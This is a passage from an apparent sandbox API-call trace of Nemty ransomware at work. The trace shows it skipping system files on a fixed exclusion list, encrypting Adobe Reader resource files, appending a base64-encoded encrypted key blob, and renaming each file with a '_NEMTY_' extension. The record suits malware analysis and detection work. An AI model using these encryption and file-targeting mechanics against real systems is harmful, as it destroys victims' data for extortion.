lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.126] Sleep (dwMilliseconds=0x5) [0217.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x350f45f0, dwHighDateTime=0x1d561e8)) [0217.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x350f45f0, dwHighDateTime=0x1d561e8)) [0217.134] GetLastError () returned 0x0 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.135] GetLastError () returned 0x0 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.135] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.135] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.135] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.135] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="Nr2FzVL75g0+CKs1jrb0B3LgHB/Afbb+c/2/+6wzblFcMOAPaJlaSOn2t3I8FeTQ\r\nKdeGojKiWoeR+uafN3S4rZi6SX/XSEP0EYP8gdO5cquro7qIgK4vOM949AxNP0T9\r\nRc3BhW9lZ8vPA/jREEDEw1Szlp7tTaZ7+NbbVjGvXgbDXH/wpa2vFIBF3g7SlQYU\r\nlCyVnJkUOMS4iytDB/sclZ3aPxKa+OiaJe39MOWw6sLKxrHdmsUtQayv/ME6Mjfp\r\nnojrJHvZoy/jbhv8yS/SkLgeiL+24FWCg7rXdA//EiEaqORb/z5Pa7gEcZ/CYSn5\r\n7TdD8hBdJD8T3zYEWDIGLg==\r\n", pcchString=0x653df5c) returned 1 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.136] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=57344) returned 1 [0217.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe000) returned 0x6354c48 [0217.136] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.137] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0xe000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0xe000, lpOverlapped=0x0) returned 1 [0217.145] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.145] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0xe000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0xe000, lpOverlapped=0x0) returned 1 [0217.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.146] SetFilePointer (in: hFile=0x320, lDistanceToMove=57344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe000 [0217.146] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.146] CloseHandle (hObject=0x320) returned 1 [0217.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.147] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.hyp._nemty_kgobjgd_")) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.148] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x127204, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cze108.hsp", cAlternateFileName="")) returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2=".") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="..") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="...") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="windows") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="$RECYCLE.BIN") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="rsa") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="NTDETECT.COM") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="ntldr") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="MSDOS.SYS") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="IO.SYS") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="boot.ini") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="boot.ini") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="ntuser.dat") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="desktop.ini") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="CONFIG.SYS") returned 1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="RECYCLER") returned -1 [0217.148] lstrcmpiW (lpString1="cze108.hsp", lpString2="BOOTSECT.BAK") returned 1 [0217.149] lstrcmpiW (lpString1="cze108.hsp", lpString2="bootmgr") returned 1 [0217.149] lstrcmpiW (lpString1="cze108.hsp", lpString2="programdata") returned -1 [0217.149] lstrcmpiW (lpString1="cze108.hsp", lpString2="appdata") returned 1 [0217.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze108.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze108.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze108.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze108.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.149] Sleep (dwMilliseconds=0x5) [0217.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3511a750, dwHighDateTime=0x1d561e8)) [0217.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3511a750, dwHighDateTime=0x1d561e8)) [0217.150] GetLastError () returned 0x0 [0217.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.150] GetLastError () returned 0x0 [0217.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.150] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.151] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="Lo+GARbfrU3XsYnvEr4Fu8WoD+zCIwTNTJwF5uh2Xs4Q/RSgQy84rn0ajQMbR7jR\r\nG4pup0ZIUNk49hEyx5sIKOgUkiol6cyxLEKOZzolS7n1Kw84HXT8FelCw/X4SaYE\r\n+er0j5UN0+9XQuT5RP9F3qRihuXeSOlHgqi4YFNX5cV1iHdcDrEiDXukC7GplEN/\r\nK9tbM7RT248Z6+aFzq7S6nxtZeSwT7GnE5Hz7NOw5sc3z0wnjtNjR11y3sdcB011\r\nbnyBJkxGbFBsmliDnXuRiVQ+KvWPGWBXBUWHLTq2lZhtBGvSuSuCbY0UqshQiM+V\r\nOp+kTc4DeL7pKLK4U2kKiw==\r\n", pcchString=0x653df5c) returned 1 [0217.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze108.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze108.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.151] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=1208836) returned 1 [0217.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.151] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.152] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.161] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.162] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.162] SetFilePointer (in: hFile=0x320, lDistanceToMove=1208836, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127204 [0217.162] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.165] CloseHandle (hObject=0x320) returned 1 [0217.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.166] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze108.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze108.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze108.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze108.hsp._nemty_kgobjgd_")) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.167] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fd1, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cze32.clx", cAlternateFileName="")) returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2=".") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="..") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="...") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="windows") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="rsa") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="NTDETECT.COM") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="ntldr") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="MSDOS.SYS") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="IO.SYS") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="boot.ini") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="boot.ini") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="ntuser.dat") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="desktop.ini") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="CONFIG.SYS") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="RECYCLER") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="bootmgr") returned 1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="programdata") returned -1 [0217.167] lstrcmpiW (lpString1="cze32.clx", lpString2="appdata") returned 1 [0217.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 